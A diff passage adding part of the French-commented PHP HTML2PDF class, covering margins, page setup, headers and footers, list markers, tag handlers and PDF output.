+			
+			// initialisation des marges
+			$this->setDefaultMargins($marges[0], $marges[1], $marges[2], $marges[3]);
+			$this->setMargins();
+			$this->marges = array();
+
+			// initialisation des champs de formulaire
+			$this->lstChamps = array();
+
+			// premier page forcée
+			if ($force_page) $this->setNewPage($this->sens);
+		}
+		
+		/**
+		* activer ou desactiver le test de TD ne devant pas depasser une page
+		*
+		* @param	boolean	nouvel etat
+		* @return	boolean ancien etat
+		*/
+		function setTestTdInOnePage($mode = true)
+		{
+			$old = $this->testTDin1page;
+			
+			$this->testTDin1page = $mode ? true : false;
+			
+			return $old;
+		}
+
+		/**
+		* définir les marges par défault
+		*
+		* @param	int		en mm, marge left
+		* @param	int		en mm, marge top
+		* @param	int		en mm, marge right. si null, left=right
+		* @param	int		en mm, marge bottom. si null, bottom=8
+		* @return	null
+		*/
+		function setDefaultMargins($left, $top, $right = null, $bottom = null)
+		{
+			if ($right===null)	$right = $left;
+			if ($bottom===null)	$bottom = 8;
+			
+			$this->defaultLeft		= $this->style->ConvertToMM($left.'mm');
+			$this->defaultTop		= $this->style->ConvertToMM($top.'mm');
+			$this->defaultRight		= $this->style->ConvertToMM($right.'mm');
+			$this->defaultBottom	= $this->style->ConvertToMM($bottom.'mm');
+		}
+
+		/**
+		* définir les marges réelles, fonctions de la balise page
+		*
+		* @return	null
+		*/
+		function setMargins()
+		{
+			$this->margeLeft	= $this->defaultLeft	+ (isset($this->background['left'])		? $this->background['left']		: 0);
+			$this->margeRight	= $this->defaultRight	+ (isset($this->background['right'])	? $this->background['right']	: 0);
+			$this->margeTop		= $this->defaultTop 	+ (isset($this->background['top'])		? $this->background['top']		: 0);
+			$this->margeBottom	= $this->defaultBottom	+ (isset($this->background['bottom'])	? $this->background['bottom']	: 0);
+			
+			$this->pdf->SetMargins($this->margeLeft, $this->margeTop, $this->margeRight);			
+			$this->pdf->cMargin = 0;
+			$this->pdf->SetAutoPageBreak(false, $this->margeBottom);
+		}
+		
+		/**
+		* recuperer les positions x minimales et maximales en fonction d'une hauteur
+		*
+		* @param	float	y
+		* @return	array(float, float)
+		*/
+		function getMargins($y)
+		{
+			$y = floor($y*100);
+			$x = array($this->pdf->lMargin, $this->pdf->w-$this->pdf->rMargin);
+			
+			foreach($this->pageMarges as $m_y => $m_x)
+				if ($m_y<=$y) $x = $m_x;
+			
+			return $x;
+		}
+		
+		/**
+		* ajouter une marge suite a un float
+		*
+		* @param	string	left ou right
+		* @param	float	x1
+		* @param	float	y1
+		* @param	float	x2
+		* @param	float	y2
+		* @return	null
+		*/
+		function addMargins($float, $x1, $y1, $x2, $y2)
+		{
+			$old1 = $this->getMargins($y1);
+			$old2 = $this->getMargins($y2);
+			if ($float=='left')  $old1[0] = $x2;
+			if ($float=='right') $old1[1] = $x1;
+			
+			$y1 = floor($y1*100);
+			$y2 = floor($y2*100);
+
+			foreach($this->pageMarges as $m_y => $m_x)
+			{
+				if ($m_y<$y1) continue;				
+				if ($m_y>$y2) break;	
+				if ($float=='left'  && $this->pageMarges[$m_y][0]<$x2) unset($this->pageMarges[$m_y]);
+				if ($float=='right' && $this->pageMarges[$m_y][1]>$x1) unset($this->pageMarges[$m_y]);
+			}
+
+			$this->pageMarges[$y1] = $old1;
+			$this->pageMarges[$y2] = $old2;
+			
+			ksort($this->pageMarges);
+			
+			$this->isAfterFloat = true;
+		}
+	
+		/**
+		* définir des nouvelles marges et sauvegarder les anciennes
+		*
+		* @param	float	marge left
+		* @param	float	marge top
+		* @param	float	marge right
+		* @return	null
+		*/
+		function saveMargin($ml, $mt, $mr)
+		{
+			$this->marges[] = array('l' => $this->pdf->lMargin, 't' => $this->pdf->tMargin, 'r' => $this->pdf->rMargin, 'page' => $this->pageMarges);
+			$this->pdf->SetMargins($ml, $mt, $mr);
+
+			$this->pageMarges = array();
+			$this->pageMarges[floor($mt*100)] = array($ml, $this->pdf->w-$mr);
+		}
+						
+		/**
+		* récuperer les dernières marches sauvées
+		*
+		* @return	null
+		*/
+		function loadMargin()
+		{
+			$old = array_pop($this->marges);
+			if ($old)
+			{
+				$ml = $old['l'];
+				$mt = $old['t'];
+				$mr = $old['r'];
+				$mP = $old['page'];
+			}
+			else
+			{
+				$ml = $this->margeLeft;
+				$mt = 0;
+				$mr = $this->margeRight;
+				$mP = array($mt => array($ml, $this->pdf->w-$mr));
+			}
+			
+			$this->pdf->SetMargins($ml, $mt, $mr);
+			$this->pageMarges = $mP;
+		}
+		
+		/**
+		* permet d'ajouter une fonte.
+		*
+		* @param	string nom de la fonte
+		* @param	string style de la fonte
+		* @param	string fichier de la fonte
+		* @return	null
+		*/
+		function AddFont($family, $style='', $file='')
+		{
+			$this->pdf->AddFont($family, $style, $file);
+		}
+		
+		/**
+		* sauvegarder l'état actuelle des maximums
+		*
+		* @return	null
+		*/
+		function saveMax()
+		{
+			$this->Maxs[] = array($this->maxX, $this->maxY, $this->maxH);
+		}
+				
+		/**
+		* charger le dernier état sauvé des maximums
+		*
+		* @return	null
+		*/
+		function loadMax()
+		{
+			$old = array_pop($this->Maxs);
+
+			if ($old)
+			{
+				$this->maxX = $old[0];
+				$this->maxY = $old[1];
+				$this->maxH = $old[2];
+			}
+			else
+			{
+				$this->maxX = 0;
+				$this->maxY = 0;
+				$this->maxH = 0;
+			}
+		}
+		
+		/**
+		* afficher l'header contenu dans page_header
+		*
+		* @return	null
+		*/
+		function SetPageHeader()
+		{
+			if (!count($this->subHEADER)) return false;
+
+			$OLD_parse_pos = $this->parse_pos;
+			$OLD_parse_code = $this->parsing->code;
+			
+			$this->parse_pos = 0;
+			$this->parsing->code = $this->subHEADER;
+			$this->MakeHTMLcode();
+			
+			$this->parse_pos = 	$OLD_parse_pos;
+			$this->parsing->code = $OLD_parse_code;
+		}
+
+		/**
+		* afficher le footer contenu dans page_footer
+		*
+		* @return	null
+		*/
+		function SetPageFooter()
+		{
+			if (!count($this->subFOOTER)) return false;
+
+			$OLD_parse_pos = $this->parse_pos;
+			$OLD_parse_code = $this->parsing->code;
+			
+			$this->parse_pos = 0;
+			$this->parsing->code = $this->subFOOTER;
+			$this->MakeHTMLcode();
+			
+			$this->parse_pos = 	$OLD_parse_pos;
+			$this->parsing->code = $OLD_parse_code;
+		}
+		
+		/**
+		* saut de ligne avec une hauteur spécifique
+		*
+		* @param	float		hauteur de la ligne
+		* @return	null
+		*/
+		function setNewLine($h)
+		{
+			$this->pdf->Ln($h);
+			
+			list($lx, $rx) = $this->getMargins($this->pdf->y);
+			$this->pdf->x=$lx;
+		}
+			
+		/**
+		* création d'une nouvelle page avec une orientation particuliere
+		*
+		* @param	string		sens P=portrait ou L=landscape
+		* @param	array		tableau des propriétés du fond de la page
+		* @return	null
+		*/
+		function setNewPage($orientation = '', $background = null)
+		{
+/*
+			if (!$this->FirstPage)
+			{
+				$info = debug_backtrace(); foreach($info as $k => $v) { unset($info[$k]['object']); unset($info[$k]['type']); unset($info[$k]['args']);} 
+				echo '<pre>'.print_r($info, true).'</pre><hr>';
+			}
+*/
+			$this->FirstPage = false;
+
+			$this->sens = $orientation ? $orientation : $this->sens;
+			$this->background = $background!==null ? $background : $this->background;
+			$this->maxY = 0;	
+			$this->maxX = 0;
+
+			$this->pdf->lMargin = $this->defaultLeft;
+			$this->pdf->rMargin = $this->defaultRight;
+			$this->pdf->tMargin = $this->defaultTop;
+			$this->pdf->AddPage($this->sens);
+			
+			if (!$this->sub_part && !$this->isSubPart)
+			{
+				if (is_array($this->background))
+				{
+					if (isset($this->background['color']) && $this->background['color'])
+					{
+						$this->pdf->SetFillColor($this->background['color'][0], $this->background['color'][1], $this->background['color'][2]);
+						$this->pdf->Rect(0, 0, $this->pdf->w, $this->pdf->h, 'F');
+					}
+
+					if (isset($this->background['img']) && $this->background['img'])
+						$this->pdf->Image($this->background['img'], $this->background['posX'], $this->background['posY'], $this->background['width']);
+				}	
+				
+				$this->SetPageHeader();
+				$this->SetPageFooter();
+			}
+			
+			$this->SetMargins();
+			$this->pdf->y = $this->margeTop;			
+			list($lx, $rx) = $this->getMargins($this->pdf->y);
+			$this->pdf->x=$lx;
+		}
+		
+		/** 
+		* récupération du PDF 
+		* 
+		* @param	string	nom du fichier PDF 
+		* @param	boolean	destination 
+		* @return	string	contenu éventuel du pdf
+		* 
+		*
+		* Destination où envoyer le document. Le paramètre peut prendre les valeurs suivantes :
+		* true  : equivalent à I
+		* false : equivalent à S  
+		* I : envoyer en inline au navigateur. Le plug-in est utilisé s'il est installé. Le nom indiqué dans name est utilisé lorsque l'on sélectionne "Enregistrer sous" sur le lien générant le PDF.
+		* D : envoyer au navigateur en forçant le téléchargement, avec le nom indiqué dans name.
+		* F : sauver dans un fichier local, avec le nom indiqué dans name (peut inclure un répertoire).
+		* S : renvoyer le document sous forme de chaîne. name est ignoré.
+		*/
+		function Output($name = '', $dest = false)
+		{
+			// nettoyage
+			global $HTML2PDF_TABLEAU; $HTML2PDF_TABLEAU = array();
+
+			// interpretation des paramètres
+			if ($dest===false)	$dest = 'I';
+			if ($dest===true)	$dest = 'S';
+			if ($dest==='')		$dest = 'I';
+			if ($name=='')		$name='document.pdf';
+			
+			// verification de la destination
+			$dest = strtoupper($dest);
+			if (!in_array($dest, array('I', 'D', 'F', 'S'))) $dest = 'I';
+	
+			// verification du nom
+			if (strtolower(substr($name, -4))!='.pdf')
+			{
+				echo 'ERROR : The output document name "'.$name.'" is not a PDF name';
+				exit;
+			}
+			
+
+			return $this->pdf->Output($name, $dest);
+		}
+		
+		/**
+		* création d'un sous HTML2PDF pour la gestion des tableaux imbriqués
+		*
+		* @param	HTML2PDF	futur sous HTML2PDF passé en référence pour créatio
+		* @return	null
+		*/		
+		function CreateSubHTML(&$sub_html, $cellmargin=0)
+		{
+			// initialisation du sous objet
+			$sub_html = new HTML2PDF(
+										$this->sens,
+										$this->format,
+										$this->langue,
+										array($this->defaultLeft,$this->defaultTop,$this->defaultRight,$this->defaultBottom),
+										true
+									);
+			$sub_html->isSubPart = true;
+			$sub_html->setTestTdInOnePage($this->testTDin1page);
+			
+			$sub_html->style->css			= $this->style->css;
+			$sub_html->style->css_keys		= $this->style->css_keys;
+			$sub_html->style->table			= $this->style->table;
+			$sub_html->style->value			= $this->style->value;
+			$sub_html->style->value['text-align'] = 'left';
+			$sub_html->defLIST				= $this->defLIST;
+			
+			// initialisation de la largeur
+			if ($this->style->value['width'])
+			{
+				$marge = $cellmargin*2;
+				$marge+= $this->style->value['padding']['l'] + $this->style->value['padding']['r'];
+				$marge+= $this->style->value['border']['l']['width'] + $this->style->value['border']['r']['width'];
+				$marge = $sub_html->pdf->w - $this->style->value['width'] + $marge;
+			}
+			else
+				$marge = $this->margeLeft+$this->margeRight;
+
+			$sub_html->saveMargin(0, 0, $marge);
+
+			// initialisation des fontes
+			$sub_html->pdf->fonts		= &$this->pdf->fonts;
+			$sub_html->pdf->FontFiles	= &$this->pdf->FontFiles;
+			$sub_html->pdf->diffs		= &$this->pdf->diffs;
+
+			// initialisation des positions et autre
+			$sub_html->maxX = 0;
+			$sub_html->maxY = 0;
+			$sub_html->maxH = 0;
+			$sub_html->pdf->setX(0);
+			$sub_html->pdf->setY(0);
+			$sub_html->style->FontSet();
+		}
+		
+		/**
+		* destruction d'un sous HTML2PDF pour la gestion des tableaux imbriqués
+		*
+		* @return	null
+		*/	
+		function DestroySubHTML()
+		{
+			
+			unset($this->sub_html);
+			$this->sub_html = null;	
+		}
+		
+		/**
+		* Convertir un nombre arabe en nombre romain
+		*
+		* @param	integer	nombre à convertir
+		* @return	string	nombre converti
+		*/
+		function listeArab2Rom($nb_ar)
+		{
+			$nb_b10	= array('I','X','C','M');
+			$nb_b5	= array('V','L','D');
+			$nb_ro	= '';
+
+			if ($nb_ar<1)		return $nb_ar;
+			if ($nb_ar>3999)	return $nb_ar;
+
+			for($i=3; $i>=0 ; $i--)
+			{
+				$chiffre=floor($nb_ar/pow(10,$i));
+				if($chiffre>=1)
+				{
+					$nb_ar=$nb_ar-$chiffre*pow(10,$i);
+					if($chiffre<=3)
+					{
+						for($j=$chiffre; $j>=1; $j--)
+						{
+							$nb_ro=$nb_ro.$nb_b10[$i];
+						}
+					}
+					else if($chiffre==9)
+					{
+						$nb_ro=$nb_ro.$nb_b10[$i].$nb_b10[$i+1];
+					}
+					elseif($chiffre==4)
+					{
+					$nb_ro=$nb_ro.$nb_b10[$i].$nb_b5[$i];
+					}
+					else
+					{
+						$nb_ro=$nb_ro.$nb_b5[$i];
+						for($j=$chiffre-5; $j>=1; $j--)
+						{
+							$nb_ro=$nb_ro.$nb_b10[$i];
+						}
+					}
+				}
+			}
+			return $nb_ro;
+		}
+		
+		/**
+		* Ajouter un LI au niveau actuel
+		*
+		* @return	null
+		*/
+		function listeAddLi()
+		{
+			$this->defLIST[count($this->defLIST)-1]['nb']++;
+		}
+
+		function listeGetWidth()	{ return '7mm'; }
+		function listeGetPadding()	{ return '1mm'; }
+
+		/**
+		* Recuperer le LI du niveau actuel
+		*
+		* @return	string	chaine à afficher
+		*/
+		function listeGetLi()
+		{
+			$im = $this->defLIST[count($this->defLIST)-1]['img'];
+			$st = $this->defLIST[count($this->defLIST)-1]['style'];
+			$nb = $this->defLIST[count($this->defLIST)-1]['nb'];
+			$up = (substr($st, 0, 6)=='upper-');
+			
+			if ($im) return array(false, false, $im);
+			
+			switch($st)
+			{
+				case 'none':
+					return array('arial', true, ' ');
+					
+				case 'upper-alpha':
+				case 'lower-alpha':
+					$str = '';
+					while($nb>26)
+					{
+						$str = chr(96+$nb%26).$str; 
+						$nb = floor($nb/26);	
+					}
+					$str = chr(96+$nb).$str; 
+					
+					return array('arial', false, ($up ? strtoupper($str) : $str).'.');
+
+				case 'upper-roman':
+				case 'lower-roman':
+					$str = $this->listeArab2Rom($nb);
+					
+					return array('arial', false, ($up ? strtoupper($str) : $str).'.');
+					
+				case 'decimal':
+					return array('arial', false, $nb.'.');
+
+				case 'square':
+					return array('zapfdingbats', true, chr(110));
+
+				case 'circle':
+					return array('zapfdingbats', true, chr(109));
+
+				case 'disc':
+				default:
+					return array('zapfdingbats', true, chr(108));
+			}
+		}
+				
+		/**
+		* Ajouter un niveau de liste
+		*
+		* @param	string	type de liste : ul, ol
+		* @param	string	style de la liste
+		* @return	null
+		*/
+		function listeAddLevel($type = 'ul', $style = '', $img = null)
+		{
+			if ($img)
+			{
+				if (preg_match('/^url\(([^)]+)\)$/isU', trim($img), $match))
+					$img = $match[1];
+				else
+					$img = null;
+			}
+			else
+				$img = null;
+			
+			if (!in_array($type, array('ul', 'ol'))) $type = 'ul';
+			if (!in_array($style, array('lower-alpha', 'upper-alpha', 'upper-roman', 'lower-roman', 'decimal', 'square', 'circle', 'disc', 'none'))) $style = '';
+			
+			if (!$style)
+			{
+				if ($type=='ul')	$style = 'disc';
+				else				$style = 'decimal';
+			}
+			$this->defLIST[count($this->defLIST)] = array('style' => $style, 'nb' => 0, 'img' => $img);
+		}
+		
+		/**
+		* Supprimer un niveau de liste
+		*
+		* @return	null
+		*/
+		function listeDelLevel()
+		{
+			if (count($this->defLIST))
+			{
+				unset($this->defLIST[count($this->defLIST)-1]);
+				$this->defLIST = array_values($this->defLIST);
+			}
+		}
+		
+		/**
+		* traitement d'un code HTML
+		*
+		* @param	string	code HTML à convertir
+		* @param	boolean	afficher en pdf (false) ou en html (true)
+		* @return	null
+		*/	
+		function WriteHTML($html, $vue = false)
+		{
+			$html = str_replace('[[page_nb]]',	'{nb}',	 $html);
+			
+			$html = str_replace('[[date_y]]',	date('Y'),	 $html);
+			$html = str_replace('[[date_m]]',	date('m'),	 $html);
+			$html = str_replace('[[date_d]]',	date('d'),	 $html);
+
+			$html = str_replace('[[date_h]]',	date('H'),	 $html);
+			$html = str_replace('[[date_i]]',	date('i'),	 $html);
+			$html = str_replace('[[date_s]]',	date('s'),	 $html);
+
+			// si on veut voir le résultat en HTML => on appelle la fonction
+			if ($vue)	$this->vueHTML($html);	
+
+			// sinon, traitement pour conversion en PDF :
+			// parsing
+			$this->sub_pdf = false;
+			$this->style->readStyle($html);
+			$this->parsing->setHTML($html);
+			$this->parsing->parse();
+			$this->MakeHTMLcode();
+		}
+
+		function MakeHTMLcode()
+		{
+			// pour chaque element identifié par le parsing
+			for($this->parse_pos=0; $this->parse_pos<count($this->parsing->code); $this->parse_pos++)
+			{
+				// récupération de l'élément
+				$todo = $this->parsing->code[$this->parse_pos];
+				
+				// si c'est une ouverture de tableau
+				if (in_array($todo['name'], array('table', 'ul', 'ol')) && !$todo['close'])
+				{
+					// on va créer un sous HTML, et on va travailler sur une position temporaire
+					$tag_open = $todo['name'];
+
+					$this->sub_part = true;
+					$this->temp_pos = $this->parse_pos;
+					
+					// pour tous les éléments jusqu'à la fermeture de la table afin de préparer les dimensions
+					while(isset($this->parsing->code[$this->temp_pos]) && !($this->parsing->code[$this->temp_pos]['name']==$tag_open && $this->parsing->code[$this->temp_pos]['close']))
+					{
+						$this->loadAction($this->parsing->code[$this->temp_pos]);
+						$this->temp_pos++;
+					}
+					if (isset($this->parsing->code[$this->temp_pos])) 	$this->loadAction($this->parsing->code[$this->temp_pos]);
+					$this->sub_part = false;
+				}
+				
+				// chargement de l'action correspondant à l'élément
+				$this->loadAction($todo);
+			}			
+		} 
+
+
+	
+		/**
+		* affichage en mode HTML du contenu
+		*
+		* @param	string	contenu
+		* @return	null
+		*/	
+		function vueHTML($content)
+		{
+			$content = preg_replace('/<page_header([^>]*)>/isU',	'<hr>'.HTML2PDF::textGET('vue01').' : $1<hr><div$1>', $content);
+			$content = preg_replace('/<page_footer([^>]*)>/isU',	'<hr>'.HTML2PDF::textGET('vue02').' : $1<hr><div$1>', $content);
+			$content = preg_replace('/<page([^>]*)>/isU',			'<hr>'.HTML2PDF::textGET('vue03').' : $1<hr><div$1>', $content);
+			$content = preg_replace('/<\/page([^>]*)>/isU',			'</div><hr>', $content);
+			$content = preg_replace('/<bookmark([^>]*)>/isU',		'<hr>bookmark : $1<hr>', $content);
+			$content = preg_replace('/<\/bookmark([^>]*)>/isU',		'', $content);
+			
+			echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<html>
+	<head>
+		<title>'.HTML2PDF::textGET('vue04').' HTML</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" >
+	</head>
+	<body style="padding: 10px; font-size: 10pt;font-family:	Arial;">
+'.$content.'
+	</body>
+</html>';
+			exit;	
+		}
+
+		/**
+		* chargement de l'action correspondante à un element de parsing
+		*
+		* @param	array	élément de parsing
+		* @return	null
+		*/		
+		function loadAction($row)
+		{
+			// nom de l'action
+			$fnc	= ($row['close'] ? 'c_' : 'o_').strtoupper($row['name']);
+			
+			// parametres de l'action
+			$param	= $row['param'];
+			
+			// si aucune page n'est créé, on la créé
+			if ($fnc!='o_PAGE' && $this->FirstPage)
+			{
+					$this->setNewPage();
+			}
+			
+			// lancement de l'action
+			if (is_callable(array(&$this, $fnc)))
+			{
+				$this->{$fnc}($param);
+				$this->previousCall = $fnc;
+			}
+			else
+			{
+				HTML2PDF::makeError(1, __FILE__, __LINE__, strtoupper($row['name']));
+			}
+		}
+		
+		/**
+		* balise	: PAGE
+		* mode		: OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_PAGE($param)
+		{
+			$newPageSet= (!isset($param['pageset']) || $param['pageset']!='old');
+			
+			$this->maxH = 0;
+			if ($newPageSet)
+			{
+				$this->subHEADER = array();
+				$this->subFOOTER = array();
+						
+				// identification de l'orientation demandée
+				$orientation = '';
+				if (isset($param['orientation']))
+				{
+					$param['orientation'] = strtolower($param['orientation']);
+					if ($param['orientation']=='p')			$orientation = 'P';
+					if ($param['orientation']=='portrait')	$orientation = 'P';
+	
+					if ($param['orientation']=='l')			$orientation = 'L';
+					if ($param['orientation']=='paysage')	$orientation = 'L';
+					if ($param['orientation']=='landscape')	$orientation = 'L';
+				}
+	
+				// identification des propriétés du background
+				$background = array();
+				if (isset($param['backimg']))
+				{
+					$background['img']		= isset($param['backimg'])	? $param['backimg']		: '';		// nom de l'image
+					$background['posX']		= isset($param['backimgx'])	? $param['backimgx']	: 'center'; // position horizontale de l'image
+					$background['posY']		= isset($param['backimgy'])	? $param['backimgy']	: 'middle'; // position verticale de l'image
+					$background['width']	= isset($param['backimgw'])	? $param['backimgw']	: '100%';	// taille de l'image (100% = largueur de la feuille)
+					
+					// conversion du nom de l'image, en cas de paramètres en _GET
+					$background['img'] = str_replace('&amp;', '&', $background['img']);
+					// conversion des positions
+					if ($background['posX']=='left')	$background['posX'] = '0%';
+					if ($background['posX']=='center')	$background['posX'] = '50%';
+					if ($background['posX']=='right')	$background['posX'] = '100%';
+					if ($background['posY']=='top')		$background['posY'] = '0%';
+					if ($background['posY']=='middle')	$background['posY'] = '50%';
+					if ($background['posY']=='bottom')	$background['posY'] = '100%';
+	
+	
+					// si il y a une image de précisé
+					if ($background['img'])	
+					{
+						// est-ce que c'est une image ?
+						$infos=@GetImageSize($background['img']);
+						if (count($infos)>1)
+						{
+							// taille de l'image, en fonction de la taille spécifiée. 
+							$Wi = $this->style->ConvertToMM($background['width'], $this->pdf->w);
+							$Hi = $Wi*$infos[1]/$infos[0];
+							
+							// récupération des dimensions et positions de l'image
+							$background['width']	= $Wi;	
+							$background['posX']		= $this->style->ConvertToMM($background['posX'], $this->pdf->w - $Wi);
+							$background['posY']		= $this->style->ConvertToMM($background['posY'], $this->pdf->h - $Hi);
+						}
+						else
+							$background = array();	
+					}
+					else
+						$background = array();
+				}
+				
+				// marges TOP et BOTTOM pour le texte.
+				$background['top']		= isset($param['backtop'])			? $param['backtop'] 		: '0';
+				$background['bottom']	= isset($param['backbottom'])		? $param['backbottom']		: '0';
+				$background['left']		= isset($param['backleft'])			? $param['backleft'] 		: '0';
+				$background['right']	= isset($param['backright'])		? $param['backright']		: '0';
+
+				if (preg_match('/^([0-9]*)$/isU', $background['top']))		$background['top']		.= 'mm';
+				if (preg_match('/^([0-9]*)$/isU', $background['bottom']))	$background['bottom']	.= 'mm';
+				if (preg_match('/^([0-9]*)$/isU', $background['left']))		$background['left']		.= 'mm';
+				if (preg_match('/^([0-9]*)$/isU', $background['right']))	$background['right']	.= 'mm';
+
+				$background['top']		= $this->style->ConvertToMM($background['top'],		$this->pdf->h);
+				$background['bottom']	= $this->style->ConvertToMM($background['bottom'],	$this->pdf->h);
+				$background['left']		= $this->style->ConvertToMM($background['left'],	$this->pdf->w);
+				$background['right']	= $this->style->ConvertToMM($background['right'],	$this->pdf->w);
+
+				$res = false;
+				$background['color']	= isset($param['backcolor'])	? $this->style->ConvertToRVB($param['backcolor'], $res) : null;
+				if (!$res) $background['color'] = null;
+
+				$this->style->save();
+				$this->style->analyse('PAGE', $param);
+				$this->style->setPosition($this->pdf->x, $this->pdf->y);
+				$this->style->FontSet();
+				
+				// nouvelle page
+				$this->setNewPage($orientation, $background);
+	
+				// footer automatique
+				if (isset($param['footer']))
+				{
+					$lst = explode(';', $param['footer']);
+					foreach($lst as $key => $val) $lst[$key] = trim(strtolower($val));
+					$page	= in_array('page', $lst);
+					$date	= in_array('date', $lst);
+					$heure	= in_array('heure', $lst);
+					$form	= in_array('form', $lst);
+				}
+				else
+				{
+					$page	= null;
+					$date	= null;
+					$heure	= null;
+					$form	= null;
+				}
+				$this->pdf->SetMyFooter($page, $date, $heure, $form);
+			}
+			else
+			{
+				$this->style->save();
+				$this->style->analyse('PAGE', $param);
+				$this->style->setPosition($this->pdf->x, $this->pdf->y);
+				$this->style->FontSet();
+				
+				$this->setNewPage();
+			}			
+
+		}
+
+		/**
+		* balise : PAGE
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_PAGE($param)
+		{
+			$this->maxH = 0;
+
+			$this->style->load();
+			$this->style->FontSet();
+		}
+		
+		
+		function o_PAGE_HEADER($param)
+		{
+			$this->subHEADER = array();
+			for($this->parse_pos; $this->parse_pos<count($this->parsing->code); $this->parse_pos++)
+			{
+				$todo = $this->parsing->code[$this->parse_pos];
+				if ($todo['name']=='page_header') $todo['name']='page_header_sub';
+				$this->subHEADER[] = $todo;
+				if (strtolower($todo['name'])=='page_header_sub' && $todo['close']) break;
+			}
+
+			$this->SetPageHeader();
+		}
+		
+		function o_PAGE_FOOTER($param)
+		{
+			$this->subFOOTER = array();
+			for($this->parse_pos; $this->parse_pos<count($this->parsing->code); $this->parse_pos++)
+			{
+				$todo = $this->parsing->code[$this->parse_pos];
+				if ($todo['name']=='page_footer') $todo['name']='page_footer_sub';
+				$this->subFOOTER[] = $todo;
+				if (strtolower($todo['name'])=='page_footer_sub' && $todo['close']) break;
+			}
+			
+			$this->SetPageFooter();
+		}
+
+		function o_PAGE_HEADER_SUB($param)
+		{
+			$this->subSTATES = array();
+			$this->subSTATES['x']	= $this->pdf->x;
+			$this->subSTATES['y']	= $this->pdf->y;
+			$this->subSTATES['s']	= $this->style->value;
+			$this->subSTATES['t']	= $this->style->table;
+			$this->subSTATES['ml']	= $this->pdf->lMargin;
+			$this->subSTATES['mr']	= $this->pdf->rMargin;
+			$this->subSTATES['mt']	= $this->pdf->tMargin;
+			$this->subSTATES['mb']	= $this->pdf->bMargin;
+	
+			$this->pdf->x						= $this->defaultLeft;
+			$this->pdf->y						= $this->defaultTop;
+			$this->style->initStyle();
+			$this->style->resetStyle();
+			$this->style->value['width']		= $this->pdf->w - $this->defaultLeft - $this->defaultRight;
+			$this->style->table					= array();
+			$this->pdf->lMargin					= $this->defaultLeft;
+			$this->pdf->rMargin					= $this->defaultRight;
+			$this->pdf->tMargin					= $this->defaultTop;
+			$this->pdf->bMargin					= $this->defaultBottom;
+			$this->pdf->PageBreakTrigger		= $this->pdf->h - $this->pdf->bMargin;
+
+			$this->style->save();
+			$this->style->analyse('page_header_sub', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+		}
+
+		function c_PAGE_HEADER_SUB($param)
+		{
+			$this->style->load();
+
+			$this->pdf->x						= $this->subSTATES['x'];
+			$this->pdf->y						= $this->subSTATES['y'];
+			$this->style->value					= $this->subSTATES['s'];
+			$this->style->table					= $this->subSTATES['t'];
+			$this->pdf->lMargin					= $this->subSTATES['ml'];
+			$this->pdf->rMargin					= $this->subSTATES['mr'];
+			$this->pdf->tMargin					= $this->subSTATES['mt'];
+			$this->pdf->bMargin					= $this->subSTATES['mb'];
+			$this->pdf->PageBreakTrigger		= $this->pdf->h - $this->pdf->bMargin;
+
+			$this->style->FontSet();			
+		}
+				
+		function o_PAGE_FOOTER_SUB($param)
+		{
+			$this->subSTATES = array();
+			$this->subSTATES['x']	= $this->pdf->x;
+			$this->subSTATES['y']	= $this->pdf->y;
+			$this->subSTATES['s']	= $this->style->value;
+			$this->subSTATES['t']	= $this->style->table;
+			$this->subSTATES['ml']	= $this->pdf->lMargin;
+			$this->subSTATES['mr']	= $this->pdf->rMargin;
+			$this->subSTATES['mt']	= $this->pdf->tMargin;
+			$this->subSTATES['mb']	= $this->pdf->bMargin;
+	
+			$this->pdf->x						= $this->defaultLeft;
+			$this->pdf->y						= $this->defaultTop;
+			$this->style->initStyle();
+			$this->style->resetStyle();
+			$this->style->value['width']		= $this->pdf->w - $this->defaultLeft - $this->defaultRight;
+			$this->style->table					= array();			
+			$this->pdf->lMargin					= $this->defaultLeft;
+			$this->pdf->rMargin					= $this->defaultRight;
+			$this->pdf->tMargin					= $this->defaultTop;
+			$this->pdf->bMargin					= $this->defaultBottom;
+			$this->pdf->PageBreakTrigger		= $this->pdf->h - $this->pdf->bMargin;
+
+			// on en créé un sous HTML que l'on transforme en PDF
+			// pour récupérer la hauteur
+			// on extrait tout ce qui est contenu dans le FOOTER
+			$sub = null;
+			$res = $this->parsing->getLevel($this->parse_pos);
+			$this->CreateSubHTML($sub);
+			$sub->writeHTML($res[1]);
+			$this->pdf->y = $this->pdf->h - $sub->maxY - $this->defaultBottom - 0.01;
+			unset($sub);
+			
+			$this->style->save();			
+			$this->style->analyse('page_footer_sub', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();			
+		}
+
+		function c_PAGE_FOOTER_SUB($param)
+		{
+			$this->style->load();
+
+			$this->pdf->x						= $this->subSTATES['x'];
+			$this->pdf->y						= $this->subSTATES['y'];
+			$this->style->value					= $this->subSTATES['s'];
+			$this->style->table					= $this->subSTATES['t'];
+			$this->pdf->lMargin					= $this->subSTATES['ml'];
+			$this->pdf->rMargin					= $this->subSTATES['mr'];
+			$this->pdf->tMargin					= $this->subSTATES['mt'];
+			$this->pdf->bMargin					= $this->subSTATES['mb'];
+			$this->pdf->PageBreakTrigger		= $this->pdf->h - $this->pdf->bMargin;
+
+			$this->style->FontSet();			
+		}
+		
+		/**
+		* balise : NOBREAK
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/
+		function o_NOBREAK($param)
+		{
+			$this->maxH = 0;
+			// on extrait tout ce qui est contenu dans le NOBREAK
+			$res = $this->parsing->getLevel($this->parse_pos);
+
+			// on en créé un sous HTML que l'on transforme en PDF
+			// pour analyse les dimensions
+			// et voir si ca rentre
+			$sub = null;
+			$this->CreateSubHTML($sub);
+			$sub->writeHTML($res[1]);
+			
+			$y = $this->pdf->getY();
+			if (
+					$sub->maxY < ($this->pdf->h - $this->pdf->tMargin-$this->pdf->bMargin) &&
+					$y + $sub->maxY>=($this->pdf->h - $this->pdf->bMargin)
+				)
+				$this->setNewPage();
+			unset($sub);
+		}
+		
+
+		/**
+		* balise : NOBREAK
